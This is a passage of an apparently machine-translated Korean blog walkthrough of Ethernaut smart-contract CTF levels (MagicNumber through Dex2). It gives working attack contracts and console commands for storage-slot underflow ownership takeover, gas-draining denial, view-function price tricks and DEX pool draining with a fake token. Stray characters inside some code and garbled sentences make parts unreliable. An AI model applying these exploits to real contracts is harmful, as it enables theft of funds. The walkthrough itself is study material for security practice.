  • 바이트코드는 스택에 로드되고 초기화 바이트코드와 런타임 바이트코드의 두 부분으로 나뉩니다.
  • EVM은 초기화 바이트 코드를 실행하고 정상적인 사용을 위해 런타임 바이트 코드를 반환합니다.

실제로 여기에 런타임 바이트코드와 초기화 바이트코드를 모두 작성해야 합니다.

그런 다음 바이트 코드 작성을 시작하십시오.

계약서 작성

런타임 바이트코드

RETURN실행 상태는 실제로 42를 직접 반환 합니다. 그러나 opcode RETURN는 스택 기반입니다. 스택에서 p와 s를 읽고 반환합니다. 이는 p저장소의 메모리 주소를 s나타내며 저장된 데이터의 크기를 나타냅니다. 따라서 우리의 아이디어는 데이터 mstore를 먼저 메모리에 저장한 다음 RETURN다시 사용하는 것입니다.

  • mstore스택에서 p와 v를 읽고 마지막으로 p 위치에 데이터를 저장합니다.

    • push1 0x42->60 42
    • push1 0x60-> 60 60(위치 0x60에 저장됨)
    • mstore->52
  • RETURN반품0x42

    • push1 0x20-> 60 20( 0x20=32즉, uint256의 바이트 수)
    • push1 0x60->60 60
    • return->f3

함께 입니다 604260605260206060f3. 런타임 바이트코드는 그만큼 간단한 것 같습니다.

초기화 바이트코드

핵심은 codecopy런타임 바이트코드를 초기화하고 메모리에 저장하는 것입니다. 그 후 EVM에 의해 자동으로 처리되어 블록체인에 저장됩니다.

  • codecopy매개변수 t, f 및 s가 읽혀질 것입니다. 여기서 t는 코드의 대상 메모리 주소 f, 전체에 대한 실행 상태 코드의 오프셋(초기화 + 실행 상태) 및 s코드 크기입니다. 우리는 여기에서 선택합니다 t=0x20(여기에는 필수 요구 사항이 없습니다), f=unknown(是1字节的偏移量),s=0x0a(10个字节的大小)

    • push1 0x0a->60 0a
    • push1 0xUN->60 UN
    • push1 0x20->60 20
    • codecopy->39
  • RETURNEVM에 코드를 반환 함으로써

    • push1 0x0a->60 0a
    • push1 0x20->60 20
    • return-> f3
      이때 초기화 바이트코드는 12바이트이므로 실행상태 오프셋은 다음과 같다. 12=0x0c=UN
      최종 초기화 바이트코드는 다음과 같다.600a600c602039600a6020f3

빌드 및 테스트

바이트코드를 빌드 0x600a600c602039600a6020f3604260605260206060f3합니다.
계약을 생성하기 위해 콘솔 인터페이스에서 트랜잭션을 구성했습니다.
계약 생성
트랜잭션은 받는 사람이 없으므로 자동으로 배포 계약으로 식별되며
계약을 전개하다
배포가 완료되었으며 계약 주소가 임을 알 수 있습니다 0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771.
배포 완료
계약을 해결사로 설정합니다. 나중에 제출하면 자동으로 호출되어 만족하는지 확인합니다.
세트 솔버
레벨을 제출하고 테스트하고 실패한 것으로 나타났습니까? 무슨 일이에요?

먼저 트랜잭션을 보면 RAW TRACE결국 우리의 계약이 실제로 액세스되었고 실제로 0x42가 반환되었음을 알 수 있습니다.

디버그 추적
어셈블리를 다시 보면 실제로 실행되었음을 알 수 있습니다.
조립 점검
그런 다음 리믹스에서 가져오고 함수를 호출하면 실제로 모두 0x42를 반환합니다.
리믹스 결과는 정상
그렇습니까? 반환된 값을 0x42에서 42( 0x2a)로 수정합니다.

바이트코드를 빌드 0x600a600c602039600a6020f3602a60605260206060f3합니다.
이때 리믹스 호출을 통해 42를 반환합니다. 다시 제출하시겠습니까? 그것은 효과가 있었다!
레벨 성공

요약하다

실제로 혼란스러워하는 사람이 있습니까? 기능 선택기 같은 것은 없나요? 사실 여기에 추가해야 하는데 일반적으로 솔리디티(Solidity)를 통해 스마트 컨트랙트를 작성한 후 컴파일 타임에 함수 선택자를 삽입합니다. 그리고 이 단계에는 이 단계가 없으므로 remix에서 호출한 그래프와 마찬가지로 모든 함수는 실제로 동일한 명령 블록을 실행하고 동일한 결과를 얻습니다.


19 AlienCodex

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Ef. 이 수준의 목적은 계약의 소유권을 가져오는 것입니다. 그럼 계약서에 소유권을 설정하는 코드가 있는지 알아볼까요?

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;
  ...
}

코드를 보면 계약서에 소유권 코드가 없어야 한다는 것을 알 수 있으므로 다른 곳에서 시작하는 방법을 찾아야 할 수도 있습니다. 코드에서 이것을 찾았습니다.

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }

여기인 것 같으니, 여기서부터 방법을 찾고, 이 작업을 통해 슬롯에 저장된 값의 크기를 변경합니다.

계약 상호 작용

먼저 슬롯에 무엇이 저장되어 있는지 볼까요?

쿼리 슬롯 스토리지
계약은 계약을 상속하므로 Ownableslot0에 저장된 owner객체 는 이 때 0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272입니다. 실제로 이 주소는 다음 그림과 같이 대상 계약이 생성되는 주소입니다.

소유 가능한 변수, 소유자는 여전히 자신의 몫 을 가져
오고 저장된 contact변수도 있습니다 slot 0(슬롯의 길이는 32비트이고 주소(20) + 부울(1)을 저장할 수 있음). 현재 0은 거짓입니다. Slot1은 codex동적 배열을 저장합니다.보다 정확하게는 동적 배열의 길이여야 합니다 codex. 특정 첨자 내용은 어떻습니까? keccak256(bytes(1))+xx는 배열의 인덱스인 슬롯 에 순서대로 저장됩니다 . 따라서 슬롯을 다음과 같이 나타냅니다.

-----------------------------------------------------
| unused(11 bytes) |contact = false  |  0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272       | <- slot 0
-----------------------------------------------------
| codex length =0       | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0]      | <- slot ??
-----------------------------------------------------

이제 코덱스 데이터의 시작 슬롯을 계산합니다.0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

시작 데이터 슬롯 계산
먼저 정확도를 테스트해 보겠습니다. 존재 하기 때문에 contacted modifier먼저 contact변수를 수정합니다. 호출 await contact.make_contact()하고 슬롯 값을 다시 확인하면 변수가 성공적으로 수정되었음을 알 수 있습니다.
연락처 변수를 성공적으로 수정했습니다.
값을 저장하여 보고 await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")테스트하십시오. 이때 슬롯 길이가 변경되고 저장된 데이터도 수정됩니다.

테스트
다른 값을 저장하여 보고 await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")테스트하십시오. 이때 슬롯 길이가 변경되고 저장된 데이터도 수정됩니다.

성공
이제 결과 오버플 로를 수정하여 최종적으로 슬롯 0을 수정하기를 바랍니다 codex. 먼저 연속으로 세 번 호출 하여 언더플로 합니다 . 이 시점에서 이전에 입력한 모든 데이터가 손실됩니다.data
await contract.retract()codex.length2**256-1

codex.length 수정
입찰가는 얼마로 해야 합니까? 그것은 있어야합니다 2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1. 끝에 도달한 후 한 비트 더 진행해야 하므로 오버플로되어 슬롯 0으로 돌아갑니다. 계산 과정에서 문제가 발생했습니다. 즉, 자바스크립트가 과학적 표기법을 사용하므로 정밀도가 떨어집니다. 단순화를 위해 리믹스로 계산하고 결과는 35707666377435648211887908874984608119992236509074197713628505308453184860938.

리믹스를 사용하여 계산 지원
그런 다음 호출하는 await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)데 하고 이때 원래 슬롯을 덮어씁니다. 그러나 검사 결과 뭔가 잘못된 것이 발견되었고 결과는 전면에 나섰습니다. 다시 수정해야 할 것 같습니다. 직접 전달할 수 없고 전달 player해야 합니다 0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b.

여기에 이미지 설명 삽입
입력 await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'), 이것은 주소 앞에 24개의 0을 채우고 24 4+40 4=256비트 또는 32바이트를 구성하여 올바른 저장 위치에 주소를 저장하는 것입니다.
수정 후 재시작
이 시점에서 계약 소유자가 성공적으로 수정했습니다.
성공적으로 수정됨
예제를 제출하십시오. 이 레벨은 성공적입니다!
레벨 성공

요약하다

소유자(또는 기타 중요한 변수)와 관련하여 주의하고 모든 가능성을 찾으십시오.


20 거부

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xeb587746E66F008f686521669B5ea99735b1310B. 이 레벨의 목적은 owner인출을 차단하는 것입니다. 먼저 역할이 무엇인지 살펴보겠습니다.

    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;输入
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

사용자가 돈을 인출할 때마다 withdraw함수가 호출되고 1%가 인출되어 로 전송 partner되고 다른 1%가 로 전송됩니다 owner. 우리가 할 수 있는 일은 partner주어진 owner단계를 수행할 수 없도록 측면에서 기능을 정의하는 것뿐입니다.

그러나 계약은 call모든 가스를 호출하고 첨부합니다. send, calltransfer의 차이점을 살펴보겠습니다 .

  • 전송이 비정상적이면 전송이 실패하고 예외가 발생하며 가스 제한이 있습니다.
  • 전송이 비정상적이면 전송이 실패하고 false를 반환하며 실행을 종료하지 않으며 가스 제한이 있습니다.
  • 호출이 비정상인 경우 전송이 실패하고 false를 반환하고 실행을 종료하지 않으며 가스 제한이 없습니다.

따라서 우리의 출발점은 모든 가스를 소비하는 것이며, 빛의 실패는 후속 실행을 종료하지 않습니다!

그것을 소비하는 방법? require그럼 와 를 살펴보자 assert.

  • assert남은 가스를 모두 소모하고 모든 작업을 재개합니다.
  • require남은 가스를 모두 환불하고 값을 반환합니다.

따라서 assert 작업을 할 수 있을 것 같습니다.

공격 계약서 작성

계약을 공격하는 것은 매우 간단합니다 assert(false). 모든 것을 기본값으로 설정하고 롤백하는 것입니다.

pragma solidity ^0.6.0;


contract attacker {

    constructor() public {
    }
    
    fallback() external payable {
        assert(false);
    }

}

계약 상호 작용

address 에 공격 계약을 배포합니다 0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7.

공격 계약 배포
await contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')공격 계약을 partner역할 로 설정하려면 Enter 를 누르십시오.
파트너를 설정
이 시점에서 withdraw테스트를 시작합니다. Enter await contract.withdraw(), 가스 부족으로 인해 실패한 것으로 나타났습니다.
통화 철회 실패
예제를 제출하십시오. 이 레벨은 성공적입니다!
레벨 성공

요약하다

오래된 속담에 따르면 계약 상호 작용은 신뢰하기 어렵습니다.


21 가게

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7. 이 레벨의 목적은 요구 가격보다 낮은 가격으로 구매를 달성하는 것입니다. 특정 코드 세그먼트는 다음과 같습니다.

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }

계약은 사용자에게 msg.sender입찰을 요청하고(스마트 계약이 될 수 있음) 해당 price()기능이 현재 가격을 초과하는 결과를 반환하고 항목이 여전히 판매되지 않으면 가격을 사용자의 입찰가로 설정합니다. 이제 사용자에게 두 번 입찰을 요청하여 반환된 결과가 다른 것 같습니다. 그러나 유형 Buyer의 인터페이스 price()view유형의 함수임을 알 수 있습니다. 즉, 변수는 읽을 수만 있고 수정할 수 없습니다. 즉, 현재 계약의 상태는 변경할 수 없습니다. 우리는 무엇을해야합니까?

view그렇다면 메서드가 다른 값을 두 번 반환 하게 하는 방법이 있습니까? 현재 두 가지 방법이 있습니다.

  • 외부 계약의 변경에 의존
  • 자체 변수의 변경에 의존

공격 계약서 작성

외부 계약의 상태 변경

view형식 메서드가 외부 계약의 상태에 의존하는 경우 외부 변수를 조사하여 수정 없이 반환 값의 차이를 얻을 수 있습니다 .

또한 리믹스를 기반으로 다음과 같이 계약서를 작성합니다.

pragma solidity ^0.6.0;


interface Shop {
  function buy() external;
  function isSold() external view returns (bool);码
}

contract attacker {

    Shop shop;

    constructor(address _addr) public {
        shop = Shop(_addr);
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        if (!shop.isSold()){
            return 101;
        }else{
            return 99;
        }
    }

}

이때 컨트랙트의 변수가 요청 전후에 price()변경 되었기 때문에 변수를 기반으로 규칙을 설정할 수 있으며 이 방법이 적용됩니다.ShopisSoldif

자체 변수의 변경 사항

now, , timestamp등의 변수 에 의존하면 view서로 다른 유형의 함수가 서로 다른 블록 아래에서 다른 결과를 반환하는 것이 사실이지만 동일한 블록 아래에서는 여전히 구별하기 어려운 것 같습니다.

다음과 같은 계약이 있습니다.

contract attacker2 {

    Shop shop;
    uint time;

    constructor(address _addr) public {
        shop = Shop(_addr);
        time = now;
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        return (130-(now-time));
    }

}

view형식의 함수가 다른 시간 price에 호출되면 반환되는 값이 다릅니다. 하지만 같은 블록에서는 구분이 어려워 충분히 적용이 되지 않습니다.
115

106

계약 상호 작용

먼저 계약 현황을 확인하세요.
현재 계약 상태
공격 계약을 배포하고 계약 주소는 0x8201E303702976dc3E203a4D3cDe244D522274bf.
공격 계약 배포
이때 price메서드를 호출하고 반환 101합니다. 공격할 메소드를
현재 가격 가져오기
호출 합니다. attack호출 후 대상 계약 상태를 새로 고칩니다. 이 시점에서 아이템은 99에 판매되었습니다.
대상 계약 상태 새로 고침
예제를 제출하면 이 레벨이 완료됩니다!
이 수준이 완료되었습니다!

요약하다

때때로 우리는 다른 각도에서 문제에 대해 생각하는데, 이는 우리가 일반적으로 이해하는 것과 다를 수 있습니다.


22 덱스

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x28B73f0b92f69A35c1645a56a11877b044de3366. 이 레벨은 DEX(Decentralized Exchange)의 단순화된 버전입니다.

계약을 분석하면 계약에는 두 개의 토큰 계약만 있습니다. 하나는 token1이고 다른 하나는 입니다 token2.

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

그리고 계약을 통해 토큰 간의 환율에 따라 교환할 수 있습니다. 교환 가격은 두 토큰 수량의 비율입니다.

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

여기 에 문제 가 있습니다. 당분간 나열하지 않겠습니다.
그래서 우리는 무엇을해야합니까? 여기서 비대칭 환율을 사용하여 차익 거래를 달성하고 거래 풀에서 토큰을 비우는 것입니다(한 가지 유형이면 충분합니다).

swap주위 token1token2맴돌고 거래 만 하는 것으로 제한되어 왔기 때문입니다. 따라서 우리는 환율로만 시작할 수 있습니다. 그래서 그것은 처음에 우리가 발견한 문제로 돌아갑니다. 환율은 단일 거래에 대해 일정합니다! 일반적인 탈중앙화 거래소의 경우 슬리피지(Slippage)라는 개념이 있을 것입니다. 즉, 거래량이 증가함에 따라 이론 환율과 실제 환율의 차이가 점점 더 커지는 것입니다! 분명히 이 수준 계약에는 슬리피지의 개념이 없기 때문에 실제 가치보다 훨씬 큰 교환 금액을 얻을 수 있습니다. 몇 번의 교환을 더하면 트랜잭션 풀을 빠르게 비울 수 있습니다.

계약 상호 작용

먼저 트랜잭션 풀 token1과 계정 token2에 있는 토큰의 양을 살펴보겠습니다.

현재 트랜잭션 풀 및 사용자 잔액 보기

보유하고 있는 10개 를 token1사용 하려면 먼저 승인 token2을 전달 합니다. 그런 다음 10 을 로 교환 했습니다 . 초기 환율에 따라 10개를 얻을 수 있습니다 . 이 시점에서 우리는 0 , 20 을 가지고 있지만 교환은 이제 110 , 90 을 가지고 있습니다. 10을 다시 교환하면 10 이상을 얻을 수 있습니다 ! 이것은 차익 거래입니다!await contract.approve(contract.address,10)
승인
await contract.swap(token1,token2,10)token1token21:1token2token1token2token1token2token2token1

성공적으로 교환

다음 표는 제한된 정밀도로 인해 환율이 소수점 이하 1자리까지만 정확할 수 있는 차익 거래 프로세스를 보여줍니다. 지난 번 환율에 따라 완전히 변환하지 않고 46개( 110/2.4=45.83)만 변환했고 결과는 실패했습니다(트랜잭션 풀에 그렇게 많지 않았기 때문에). 나중에 45코인을 직접 교환할 수 있다는 걸 알게 되었어요.

트랜잭션 풀 토큰1 트랜잭션 풀 토큰2 환율 1-2 환율 2-1 사용자 토큰1 사용자 토큰2 환전 상환 후 사용자 token1 상환 후 사용자 token1
100 100 1 1 10 10 토큰1 0 20
110 90 0.818 1.222 0 20 토큰2 스물네 0
86 110 1.28 0.782 스물네 0 토큰1 0 30
110 80 0.727 1.375 0 30 토큰2 41 0
69 110 1.694 0.627 41 0 토큰1 0 65
110 45 0.409 2.44 0 65 토큰2 110 20

이 시점에서 트랜잭션 풀이 token1비었습니다! 레벨을 제출하십시오. 이 레벨은 성공적입니다!
레벨 성공!

요약하다

Dex이러한 종류의 프로젝트에 관해서는 Defi스마트 계약을 주의해서 작성해야 합니다.


23 덱스2

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bA. 이 수준은 여전히 ​​DEX(Decentralized Exchange)의 단순화된 버전입니다.

언뜻보기에이 질문은 이전 질문과 다르지 않습니다. 하지만 자세히 살펴보면 뭔가 빠진 것 같죠?

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

화폐의 주소가 더 이상 확인되지 않으므로 자체 토큰 계약을 배포하고 관련 방법을 통해 유동성을 제공하고 결국 풀을 비울 수 있습니까?

공격 계약 작성

타겟 컨트랙트의 컨트랙트를 참고 SwappableToken하여 공격 컨트랙트를 다음과 같이 작성합니다.

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract SwappableTokenAttack is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

계약을 배포합니다. 계약 주소는 다음과 같습니다.0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e
계약을 전개하다

계약 상호 작용

approve먼저 권한 부여 권한을 구현 하여 대상 계약에 8개의 공격 토큰에 대한 권한을 부여합니다.
허가를 승인하다
그 후 await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)공격 토큰을 추가하여 추가했습니다 DEX. 결과는 실패했고 우리는 계약하지 않은 것으로 나타났습니다 owner.
유동성 추가 실패
이것이 영향을 미치나요? 효과 없음, 공격 계약에서 수동으로 돈을 이체할 수 있습니다.
수동 전송
이때, 공격 토큰 전송의 환율을 구해 봅시다 token1~ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1), 모두 비울 수 있다는 것이 밝혀졌습니다 token1!

여기에 이미지 설명 삽입
그런 다음 트랜잭션을 시작하고 연속적으로 await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)합계 를 입력 await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)하여 트랜잭션 풀 비우기를 실현하십시오! 성공! (2 공격 토큰을 사용하는 이유는 token2현재 환율이 2로 떨어졌기 때문입니다. 1:50)

성공적으로 비움
레벨을 제출하십시오. 이 레벨은 성공적입니다!
이 수준은 성공적입니다

요약하다

스마트 컨트랙트는 정말 허점이 많습니다. 시간이 있다면 다음 UniSwap을 공부해야합니다!


рекомендация

отblog.csdn.net/weixin_43982484/article/details/125218458